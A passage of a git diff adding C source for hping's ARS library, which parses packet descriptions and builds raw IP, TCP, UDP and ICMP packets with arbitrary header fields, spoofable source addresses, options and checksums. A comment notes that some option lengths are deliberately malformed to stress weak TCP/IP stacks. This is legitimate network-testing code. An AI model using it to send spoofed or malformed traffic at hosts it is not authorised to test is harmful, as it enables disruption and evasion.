0) + return k; + k++; + } + return NULL; +} + +int ars_d_setlayer_size(struct ars_packet *pkt, int layer, char *size) +{ + size_t newsize; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + newsize = ars_atou(size); + if (newsize < 1 || newsize > pkt->p_layer[layer].l_size) { + ars_set_error(pkt, "Invalid layer size in description"); + return -ARS_INVALID; + } + pkt->p_layer[layer].l_size = newsize; + + __D(printf("Setting the layer to size %s\n", size);) + return -ARS_OK; +} + +int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_iphdr *ip; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + ip = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "saddr") == 0) { + return ars_resolve(pkt, &ip->saddr, v); + } else if (strcasecmp(f, "daddr") == 0) { + return ars_resolve(pkt, &ip->daddr, v); + } else if (strcasecmp(f, "ihl") == 0) { + ip->ihl = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_HDRLEN; + } else if (strcasecmp(f, "ver") == 0) { + ip->version = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_VERSION; + } else if (strcasecmp(f, "tos") == 0) { + ip->tos = ars_atou(v); + } else if (strcasecmp(f, "totlen") == 0) { + ip->tot_len = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_TOTLEN; + } else if (strcasecmp(f, "id") == 0) { + ip->id = htons(ars_atou(v)); + } else if (strcasecmp(f, "fragoff") == 0) { + ip->frag_off = ip->frag_off & 0xE000; + ip->frag_off = htons(ars_atou(v) >> 3); + } else if (strcasecmp(f, "mf") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons(~ARS_IP_MF); + else + ip->frag_off |= htons(ARS_IP_MF); + } else if (strcasecmp(f, "df") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons(~ARS_IP_DF); + else + ip->frag_off |= htons(ARS_IP_DF); + } else if (strcasecmp(f, "rf") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons((u_int16_t)~ARS_IP_RF); + else + ip->frag_off |= htons(ARS_IP_RF); + } else if (strcasecmp(f, "ttl") == 0) { + ip->ttl = ars_atou(v); + } else if (strcasecmp(f, "proto") == 0) { + ip->protocol = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_PROTOCOL; + } else if (strcasecmp(f, "cksum") == 0) { + ip->check = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_CKSUM; + } else { + ars_set_error(pkt, "Invalid field for IP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_udphdr *udp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + udp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "sport") == 0) { + udp->uh_sport = htons(ars_atou(v)); + } else if (strcasecmp(f, "dport") == 0) { + udp->uh_dport = htons(ars_atou(v)); + } else if (strcasecmp(f, "len") == 0) { + udp->uh_ulen = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_LEN; + } else if (strcasecmp(f, "cksum") == 0) { + udp->uh_sum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_CKSUM; + } else { + ars_set_error(pkt, "Invalid field for UDP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_tcphdr *tcp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + tcp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "sport") == 0) { + tcp->th_sport = htons(ars_atou(v)); + } else if (strcasecmp(f, "dport") == 0) { + tcp->th_dport = htons(ars_atou(v)); + } else if (strcasecmp(f, "seq") == 0) { + tcp->th_seq = htonl(ars_atou(v)); + } else if (strcasecmp(f, "ack") == 0) { + tcp->th_ack = htonl(ars_atou(v)); + } else if (strcasecmp(f, "x2") == 0) { + tcp->th_x2 = ars_atou(v); + } else if (strcasecmp(f, "off") == 0) { + tcp->th_off = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_HDRLEN; + } else if (strcasecmp(f, "flags") == 0) { + tcp->th_flags = 0; + if (strchr(v, 'f') || strchr(v, 'F')) + tcp->th_flags |= ARS_TCP_TH_FIN; + if (strchr(v, 's') || strchr(v, 'S')) + tcp->th_flags |= ARS_TCP_TH_SYN; + if (strchr(v, 'r') || strchr(v, 'R')) + tcp->th_flags |= ARS_TCP_TH_RST; + if (strchr(v, 'p') || strchr(v, 'P')) + tcp->th_flags |= ARS_TCP_TH_PUSH; + if (strchr(v, 'a') || strchr(v, 'A')) + tcp->th_flags |= ARS_TCP_TH_ACK; + if (strchr(v, 'u') || strchr(v, 'U')) + tcp->th_flags |= ARS_TCP_TH_URG; + if (strchr(v, 'x') || strchr(v, 'X')) + tcp->th_flags |= ARS_TCP_TH_X; + if (strchr(v, 'y') || strchr(v, 'Y')) + tcp->th_flags |= ARS_TCP_TH_Y; + } else if (strcasecmp(f, "win") == 0) { + tcp->th_win = htons(ars_atou(v)); + } else if (strcasecmp(f, "cksum") == 0) { + tcp->th_sum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_CKSUM; + } else if (strcasecmp(f, "urp") == 0) { + tcp->th_urp = htons(ars_atou(v)); + } else { + ars_set_error(pkt, "Invalid field for TCP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_icmphdr *icmp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + icmp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "type") == 0) { + icmp->type = ars_atou(v); + } else if (strcasecmp(f, "code") == 0) { + icmp->code = ars_atou(v); + } else if (strcasecmp(f, "cksum") == 0) { + icmp->checksum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_ICMP_CKSUM; + } else if (strcasecmp(f, "id") == 0) { + icmp->un.echo.id = htons(ars_atou(v)); + } else if (strcasecmp(f, "seq") == 0) { + icmp->un.echo.sequence = htons(ars_atou(v)); + } else if (strcasecmp(f, "gw") == 0) { + return ars_resolve(pkt, &icmp->un.gateway, v); + } else { + ars_set_error(pkt, "Invalid field for ICMP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_push_data(struct ars_packet *pkt, int layer, void *data, size_t size) +{ + char *p; + int old_size; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + old_size = pkt->p_layer[layer].l_size; + p = realloc(pkt->p_layer[layer].l_data, old_size + size); + if (p == NULL) + return -ARS_NOMEM; + memcpy(p+old_size, data, size); + pkt->p_layer[layer].l_data = p; + pkt->p_layer[layer].l_size += size; + return ARS_OK; +} + +#define ARS_DATA_BUF_SIZE 4096 +int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + if (strcasecmp(f, "file") == 0) { + int fd, n_read; + unsigned char buffer[ARS_DATA_BUF_SIZE]; + + if ((fd = open(v, O_RDONLY)) == -1) { + ars_set_error(pkt, "Can't open the DATA file"); + return -ARS_ERROR; + } + if ((n_read = read(fd, buffer, ARS_DATA_BUF_SIZE)) == -1) { + close(fd); + ars_set_error(pkt, "Can't read DATA from file"); + return -ARS_ERROR; + } + close(fd); + if (n_read == 0) + return -ARS_OK; + return ars_push_data(pkt, layer, buffer, n_read); + } else if (strcasecmp(f, "str") == 0) { + return ars_push_data(pkt, layer, v, strlen(v)); + } else { + ars_set_error(pkt, "Invalid field for DATA layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +/* A Finite state machine to build the packet using the description */ +int ars_d_build(struct ars_packet *pkt, char *t) +{ + struct ars_d_keyword_info *k = NULL; + char next[ARS_MAX_TSIZE]; + char field[ARS_MAX_TSIZE]; + int state = ARS_G_LAYER; + int error; + void *p; + + while ((t = ars_d_parser(t, next, ARS_MAX_TSIZE)) != NULL) { + switch(state) { + case ARS_G_LAYER: + k = ars_get_keyword_by_name(next); + if (k == NULL) { + ars_set_error(pkt, "Unknown keyword"); + return -ARS_INVALID; + } + __D(printf("Adding a new layer (%s)\n", next);) + p = k->ki_add(pkt, k->ki_opt); + if (p == NULL) + return -ARS_INVALID; + state = ARS_G_OBRACE_OR_PLUS; + break; + case ARS_G_FIELD: + strncpy(field, next, ARS_MAX_TSIZE); + state = ARS_G_EQUAL; + break; + case ARS_G_VALUE: + if (k->ki_set == NULL) { + ars_set_error(pkt, "Field specified for" + "a layer that doesn't support fields"); + return -ARS_INVALID; + } + error = k->ki_set(pkt, ARS_LAST_LAYER, field, next); + if (error != -ARS_OK) + return error; + state = ARS_G_COMMA_OR_CBRACE; + break; + case ARS_G_OBRACE_OR_PLUS: + if (next[0] == '{' && next[1] == '\0') { + state = ARS_G_FIELD; + break; + } else if (next[0] == '+' && next[1] == '\0') { + state = ARS_G_LAYER; + break; + } else { + ars_set_error(pkt, "Missing brace or plus"); + return -ARS_INVALID; + } + break; + case ARS_G_CBRACE: + if (next[0] != '}' || next[1] != '\0') { + ars_set_error(pkt, "Missing closed brace"); + return -ARS_INVALID; + } + state = ARS_G_LEN_OR_PLUS; + break; + case ARS_G_COMMA_OR_CBRACE: + if (next[0] == '}' && next[1] == '\0') { + state = ARS_G_LEN_OR_PLUS; + break; + } else if (next[0] == ',' && next[1] == '\0') { + state = ARS_G_FIELD; + break; + } else { + ars_set_error(pkt, "Missing brace or comma"); + return -ARS_INVALID; + } + break; + case ARS_G_LEN_OR_PLUS: + if (next[0] == '+' && next[1] == '\0') { + state = ARS_G_LAYER; + break; + } + error = ars_d_setlayer_size(pkt, ARS_LAST_LAYER, next); + if (error != -ARS_OK) + return error; + state = ARS_G_PLUS; + break; + case ARS_G_PLUS: + if (next[0] != '+' || next[1] != '\0') { + ars_set_error(pkt, "Missing plus"); + return -ARS_INVALID; + } + state = ARS_G_LAYER; + break; + case ARS_G_EQUAL: + if (next[0] != '=' || next[1] != '\0') { + ars_set_error(pkt, "Missing equal"); + return -ARS_INVALID; + } + state = ARS_G_VALUE; + break; + } + } + if (state != ARS_G_LEN_OR_PLUS && state != ARS_G_PLUS && + state != ARS_G_OBRACE_OR_PLUS) { + ars_set_error(pkt, "Packet description truncated"); + return -ARS_INVALID; + } + return -ARS_OK; +} diff --git a/ars.c b/ars.c new file mode 100644 index 0000000..7c9ed45 --- /dev/null +++ b/ars.c @@ -0,0 +1,905 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. + * + * TODO: + * o Functions to add addresses and timestamps for some IP and TCP option + * o IGMP support + * o DNS support + * o ARS add_build_layer() facility and Co., read the PROPOSAL file. + */ + +/* $Id: ars.c,v 1.4 2003/07/28 09:00:54 njombart Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "ars.h" + +/* prototypes */ +int ars_compiler_ip(struct ars_packet *pkt, int layer); +int ars_compiler_ipopt(struct ars_packet *pkt, int layer); +int ars_compiler_tcp(struct ars_packet *pkt, int layer); +int ars_compiler_tcpopt(struct ars_packet *pkt, int layer); +int ars_compiler_udp(struct ars_packet *pkt, int layer); +int ars_compiler_icmp(struct ars_packet *pkt, int layer); +int ars_compiler_abort(struct ars_packet *pkt, int layer) { return 0; } + +/* Initialize a packets context: + * must be called before to work with the packet's layers */ +int ars_init(struct ars_packet *pkt) +{ + int j; + + pkt->p_error = NULL; + pkt->p_layer_nr = 0; + for (j = 0; j < ARS_MAX_LAYER; j++) { + pkt->p_layer[j].l_size = 0; + pkt->p_layer[j].l_flags = 0; + pkt->p_layer[j].l_type = ARS_TYPE_NULL; + pkt->p_layer[j].l_data = NULL; + pkt->p_layer[j].l_packet = pkt; + } + for (j = 0; j < ARS_TYPE_SIZE; j++) + pkt->p_default[j] = NULL; + return -ARS_OK; +} + +/* Destroy (free the allocated memory) a packet context */ +int ars_destroy(struct ars_packet *pkt) +{ + int j; + + free(pkt->p_error); + for (j = 0; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_NULL && + pkt->p_layer[j].l_data != NULL) + free(pkt->p_layer[j].l_data); + } + return ars_init(pkt); /* Re-initialize it */ +} + +/* THe out of memory message must be statically allocated */ +char *ars_error_nomem = "Out of memory"; + +/* Set the error description */ +int ars_set_error(struct ars_packet *pkt, char *error) +{ + if (pkt == NULL) + return -ARS_OK; + + free(pkt->p_error); /* p_error is initialized to NULL */ + if ((pkt->p_error = strdup(error)) == NULL) { + /* To put the error description for the -KO_NOMEM + * error we needs a statically allocated error message: + * Note that all other functions don't need to report + * a statically allocated error message for -KO_NOMEM + * it will be auto-selected if strdup() returns NULL */ + pkt->p_error = ars_error_nomem; + } + return -ARS_OK; /* report anyway success */ +} + +/* Set the default for a layer */ +int ars_set_default(struct ars_packet *pkt, int layer_type, void *def) +{ + pkt->p_default[layer_type] = def; + return -ARS_OK; +} + +/* return nonzero if the packet is full */ +int ars_nospace(struct ars_packet *pkt) +{ + return (pkt->p_layer_nr == ARS_MAX_LAYER); +} + +/* Check if the layer number is valid */ +int ars_valid_layer(int layer) +{ + if (layer < 0 || layer >= ARS_MAX_LAYER) + return -ARS_INVALID; + return -ARS_OK; +} + +/* Add an a generic layer */ +int ars_add_generic(struct ars_packet *pkt, size_t size, int type) +{ + int layer; + + if (ars_nospace(pkt)) { + ars_set_error(pkt, "No space for the next layer"); + return -ARS_NOSPACE; + } + layer = pkt->p_layer_nr; + /* You may want to create a 0 len layer and then realloc */ + if (size != 0) { + pkt->p_layer[layer].l_data = malloc(size); + if (pkt->p_layer[layer].l_data == NULL) { + ars_set_error(pkt, "Out of memory adding a new layer"); + return -ARS_NOMEM; + } + memset(pkt->p_layer[layer].l_data, 0, size); + /* Copy the default if any */ + if (pkt->p_default[type] != NULL) { + memcpy(pkt->p_layer[layer].l_data, + pkt->p_default[type], size); + } + } + pkt->p_layer[layer].l_type = type; + pkt->p_layer[layer].l_size = size; + return -ARS_OK; +} + +/* Add an IP layer */ +void *ars_add_iphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_iphdr), ARS_TYPE_IP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add on IP option */ +void *ars_add_ipopt(struct ars_packet *pkt, int option) +{ + int retval; + struct ars_ipopt *ipopt; + int opt_len; + + switch(option) { + case ARS_IPOPT_END: + case ARS_IPOPT_NOOP: + opt_len = 1; + break; + case ARS_IPOPT_SEC: + opt_len = 11; + break; + case ARS_IPOPT_SID: + opt_len = 4; + break; + case ARS_IPOPT_LSRR: + case ARS_IPOPT_SSRR: + case ARS_IPOPT_RR: + case ARS_IPOPT_TIMESTAMP: + /* We allocate the max (40 bytes) but the real layer size + * may be modified by ars_ipopt_set*() functions */ + opt_len = 40; + break; + default: + return NULL; /* Unsupported option */ + break; + } + + retval = ars_add_generic(pkt, opt_len, ARS_TYPE_IPOPT); + if (retval != -ARS_OK) + return NULL; + ipopt = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + + ipopt->kind = option; + ipopt->len = opt_len; /* the default, can be modified inside switch() */ + /* Perform some special operation for some option */ + switch(option) { + case ARS_IPOPT_LSRR: /* ars_ipopt_setls() will change some field */ + case ARS_IPOPT_SSRR: /* ars_ipopt_setss() will change some field */ + case ARS_IPOPT_RR: /* ars_ipopt_setrr() will change some field */ + /* RFC 791 needs the roomlen - 3 octects, so the gateways + * can compare len and ptr to check for room. + * Try to break this to stress lame TCP/IP implementation */ + ipopt->len = opt_len - 2 - 3; + ipopt->un.rr.ptr = 4; + break; + case ARS_IPOPT_TIMESTAMP: + ipopt->un.tstamp.ptr = 5; + ipopt->un.tstamp.flags = ARS_IPOPT_TS_TSONLY; /* default */ + break; + } + return ipopt; +} + +/* Add a UDP layer */ +void *ars_add_udphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_udphdr), ARS_TYPE_UDP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add a TCP layer */ +void *ars_add_tcphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_tcphdr), ARS_TYPE_TCP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add TCP options */ +void *ars_add_tcpopt(struct ars_packet *pkt, int option) +{ + int retval; + struct ars_tcpopt *tcpopt; + int opt_len; + + switch(option) { + case ARS_TCPOPT_NOP: + case ARS_TCPOPT_EOL: + opt_len = 1; + break; + case ARS_TCPOPT_MAXSEG: + opt_len = 4; + break; + case ARS_TCPOPT_WINDOW: + opt_len = 3; + break; + case ARS_TCPOPT_SACK_PERM: /* ars_tcpopt_setsack() must change this */ + case ARS_TCPOPT_SACK: + opt_len = 2; + break; + case ARS_TCPOPT_ECHOREQUEST: + case ARS_TCPOPT_ECHOREPLY: + opt_len = 6; + break; + case ARS_TCPOPT_TIMESTAMP: + opt_len = 10; + break; + default: + return NULL; /* Unsupported option */ + break; + } + + retval = ars_add_generic(pkt, opt_len, ARS_TYPE_TCPOPT); + if (retval != -ARS_OK) + return NULL; + tcpopt = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + + tcpopt->kind = option; + /* EOL and NOP lacks the len field */ + if (option != ARS_TCPOPT_EOL && option != ARS_TCPOPT_NOP) + tcpopt->len = opt_len; + + /* Perform some special operation for the option */ + switch(option) { + case ARS_TCPOPT_ECHOREQUEST: + case ARS_TCPOPT_ECHOREPLY: + memset(tcpopt->un.echo.info, 0, 4); + break; + case ARS_TCPOPT_TIMESTAMP: + memset(tcpopt->un.timestamp.tsval, 0, 4); + memset(tcpopt->un.timestamp.tsecr, 0, 4); + break; + } + return tcpopt; +} + +/* Add an ICMP layer */ +void *ars_add_icmphdr(struct ars_packet *pkt, int unused) +{ + int retval; + struct ars_icmphdr *icmp; + + retval = ars_add_generic(pkt, sizeof(struct ars_icmphdr),ARS_TYPE_ICMP); + if (retval != -ARS_OK) + return NULL; + icmp = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + return (struct ars_icmphdr*) pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add data, for IP-RAW, TCP, UDP, and so on */ +void *ars_add_data(struct ars_packet *pkt, int size) +{ + int retval; + void *boguspointer = "zzappt"; /* we can't return NULL for size == 0 */ + + if (size < 0) { + ars_set_error(pkt, "Tryed to add a DATA layer with size < 0"); + return NULL; + } + retval = ars_add_generic(pkt, size, ARS_TYPE_DATA); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + if (size > 0) + return pkt->p_layer[pkt->p_layer_nr-1].l_data; + else + return boguspointer; +} + +/* Remove a layer */ +int ars_remove_layer(struct ars_packet *pkt, int layer) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr -1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + free(pkt->p_layer[layer].l_data); /* No problem if it's NULL */ + pkt->p_layer[layer].l_type = ARS_TYPE_NULL; + pkt->p_layer[layer].l_size = 0; + pkt->p_layer[layer].l_flags = 0; + pkt->p_layer[layer].l_data = NULL; + pkt->p_layer[layer].l_packet = pkt; + return -ARS_OK; +} + +/* Return the sum of the size of the specifed layer and of all the + * following layers */ +size_t ars_relative_size(struct ars_packet *pkt, int layer_nr) +{ + int j = layer_nr, rel_size = 0; + + while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { + rel_size += pkt->p_layer[j].l_size; + j++; + } + return rel_size; +} + +/* Just a short cut for ars_relative_size(), to get the total size */ +size_t ars_packet_size(struct ars_packet *pkt) +{ + return ars_relative_size(pkt, 0); +} + +/* from R. Stevens's Network Programming */ +u_int16_t ars_cksum(void *vbuf, size_t nbytes) +{ + u_int16_t *buf = (u_int16_t*) vbuf; + u_int32_t sum; + u_int16_t oddbyte; + + sum = 0; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + if (nbytes == 1) { + oddbyte = 0; + *((u_int16_t *) &oddbyte) = *(u_int8_t *) buf; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return (u_int16_t) ~sum; +} + +/* Multiple buffers checksum facility */ +u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, + size_t nbytes) +{ + u_int16_t *buf = (u_int16_t*) vbuf; + u_int32_t sum; + u_int16_t oddbyte; + void *tmp; + + if (op == ARS_MC_INIT) { + c->oddbyte_flag = 0; + c->old = 0; + return -ARS_OK; + } else if (op == ARS_MC_UPDATE) { + if (c->oddbyte_flag) { + u_int8_t *x = (u_int8_t*)&oddbyte; + oddbyte = 0; + *((u_int16_t *) &oddbyte) = c->oddbyte << 8; + *((u_int16_t *) &oddbyte) |= *(u_int8_t *) buf; + oddbyte = (x[0] << 8) | x[1]; /* fix endianess */ + c->old += oddbyte; + nbytes--; + c->oddbyte_flag = 0; + /* We need to stay aligned -- bad slowdown, fix? */ + tmp = alloca(nbytes); + memcpy(tmp, vbuf+1, nbytes); + buf = tmp; + } + sum = c->old; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + c->old = sum; + if (nbytes == 1) { + c->oddbyte = *(u_int8_t*) buf; + c->oddbyte_flag++; + } + return -ARS_OK; + } else if (op == ARS_MC_FINAL) { + sum = c->old; + if (c->oddbyte_flag == 1) { + oddbyte = 0; + *((u_int16_t *) &oddbyte) = c->oddbyte; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return (u_int16_t) ~sum; + } else { + assert("else reached in ars_multi_cksum()" == ""); + } + return 0; /* unreached, here to prevent warnings */ +} + +/* The ARS compiler table is just a function pointers array: + * For example to select the right function to compile an IP + * layer use: ars_compiler[ARS_TYPE_IP](pkt, layer); + * You can, of course, add your protocols and compilers: + * + * WARNING: take it syncronized with ars.h ARS_TYPE_* defines + */ +struct ars_layer_info ars_linfo[ARS_TYPE_SIZE] = { + /* NAME COMPILER ID * + * ---- -------- -- */ + { "NULL", ars_compiler_abort, 0 }, + { "IP", ars_compiler_ip, 1 }, + { "IPOPT", ars_compiler_ipopt, 2 }, + { "ICMP", ars_compiler_icmp, 3 }, + { "UDP", ars_compiler_udp, 4 }, + { "TCP", ars_compiler_tcp, 5 }, + { "TCPOPT", ars_compiler_tcpopt, 6 }, + { NULL, NULL, 7 }, + { NULL, NULL, 8 }, + { NULL, NULL, 9 }, + { NULL, NULL, 10 }, + { NULL, NULL, 11 }, + { NULL, NULL, 12 }, + { NULL, NULL, 13 }, + { NULL, NULL, 14 }, + { NULL, NULL, 15 }, + { NULL, NULL, 16 }, + { NULL, NULL, 17 }, + { NULL, NULL, 18 }, + { NULL, NULL, 19 }, + { NULL, NULL, 20 }, + { NULL, NULL, 21 }, + { NULL, NULL, 22 }, + { NULL, NULL, 23 }, + { NULL, NULL, 24 }, + { NULL, NULL, 25 }, + { NULL, NULL, 26 }, + { NULL, NULL, 27 }, + { NULL, NULL, 28 }, + { NULL, NULL, 29 }, + { NULL, NULL, 30 }, + { "DATA", NULL, 31 } +}; + +/* This function call the right compiler for all the layers of the packet: + * A compiler just set the protocol fields like the checksum, len, and so on + * accordly to the following layers. + * Note that the layers are compiled from the last to the first, to ensure + * that the checksum and other dependences are sane. */ +int ars_compile(struct ars_packet *pkt) +{ + int j, err; + + for (j = pkt->p_layer_nr - 1; j >= 0; j--) { + __D(printf("Compiling layer %d\n", j);) + /* Skip NULL compilers */ + if (ars_linfo[pkt->p_layer[j].l_type].li_compiler != NULL) { + /* Call the compiler */ + err = ars_linfo[pkt->p_layer[j].l_type].li_compiler(pkt, j); + if (err != -ARS_OK) + return err; + } + } + return -ARS_OK; +} + +/* The IP compiler: probably the more complex, but still simple */ +int ars_compiler_ip(struct ars_packet *pkt, int layer) +{ + struct ars_iphdr *ip = pkt->p_layer[layer].l_data; + int j = layer, err; + int flags = pkt->p_layer[layer].l_flags; + int ipoptlen = 0; + struct mc_context mc; /* multi-buffer checksum context */ + + /* IP version */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_VERSION)) + ip->version = 4; + /* IP header len */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_HDRLEN)) { + ip->ihl = (ARS_IPHDR_SIZE >> 2); + /* Add IP options len */ + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) + break; + ipoptlen += pkt->p_layer[j].l_size; + } + ip->ihl += ipoptlen >> 2; + } + /* IP tot len */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_TOTLEN)) + ip->tot_len = htons(ars_relative_size(pkt, layer)); + /* IP protocol field */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_PROTOCOL)) { + ip->protocol = ARS_IPPROTO_RAW; /* This is the default */ + while (j < ARS_MAX_LAYER) { + if (pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) { + j++; + continue; + } + switch(pkt->p_layer[j].l_type) { + case ARS_TYPE_IP: + ip->protocol = ARS_IPPROTO_IPIP; + break; + case ARS_TYPE_ICMP: + ip->protocol = ARS_IPPROTO_ICMP; + break; + case ARS_TYPE_UDP: + ip->protocol = ARS_IPPROTO_UDP; + break; + case ARS_TYPE_TCP: + ip->protocol = ARS_IPPROTO_TCP; + break; + } + break; + } + } + /* We always calculate the IP checksum, since the kernel + * do it only for the first IP header in the datagram */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_CKSUM)) { + ip->check = 0; + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, ip, ARS_IPHDR_SIZE); + if (err != -ARS_OK) + return err; + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + ip->check = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + } + return -ARS_OK; +} + +/* The ip options compiler: do just option padding with NOP options */ +int ars_compiler_ipopt(struct ars_packet *pkt, int layer) +{ + int j, opt_size; + + /* Padding is needed only in the last IP option */ + if (layer != ARS_MAX_LAYER-1 && + pkt->p_layer[layer+1].l_type == ARS_TYPE_IPOPT) + return ARS_OK; + + /* Search the layer of the relative first TCP option */ + j = layer - 1; /* We know that 'layer' is a tcp option */ + while (j < ARS_MAX_LAYER && j >= 0 && + pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) + j--; + j++; + __D(printf("First IP OPTION layer is %d\n", j);) + opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); + __D(printf("IP OPTION size %d\n", opt_size);) + if (opt_size % 4) { + int padding = 4 - (opt_size % 4); + unsigned char *t; + int cur_size = pkt->p_layer[layer].l_size; + + __D(printf("IP OPTION at layer %d needs %d bytes " + "of padding\n", layer, padding);) + t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); + if (t == NULL) { + ars_set_error(pkt, "Out of memory padding IP options"); + return -ARS_NOMEM; + } + memset(t+cur_size, ARS_IPOPT_NOP, padding); + pkt->p_layer[layer].l_size += padding; + } + return -ARS_OK; +} + +/* Compute the UDP and TCP checksum using the pseudoheader. + * Note that this functions automatically care about TCP/UDP data */ +int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum) +{ + struct ars_iphdr *ip; + struct ars_pseudohdr pseudo; + struct mc_context mc; /* multi-buffer checksum context */ + int j = layer - 1, err; + + /* search the first IP layer on the left: + * it returns an error if between the IP and + * the TCP layer there aren't just IPOPT layers: + * even with malformed packets this does not + * makes sense. */ + while (j > 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) + j--; + if (pkt->p_layer[j].l_type != ARS_TYPE_IP) { + ars_set_error(pkt, "TCP/UDP checksum requested, but IP header " + "not found"); + return -ARS_INVALID; + } + ip = pkt->p_layer[j].l_data; + memset(&pseudo, 0, sizeof(pseudo)); /* actually not needed */ + /* Copy the src and dst IP address */ + memcpy(&pseudo.saddr, &ip->saddr, 4); + memcpy(&pseudo.daddr, &ip->daddr, 4); + pseudo.protocol = (pkt->p_layer[layer].l_type == ARS_TYPE_TCP) + ? ARS_IPPROTO_TCP : ARS_IPPROTO_UDP; + pseudo.lenght = htons(ars_relative_size(pkt, layer)); + + /* Finally do the checksum */ + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + err = 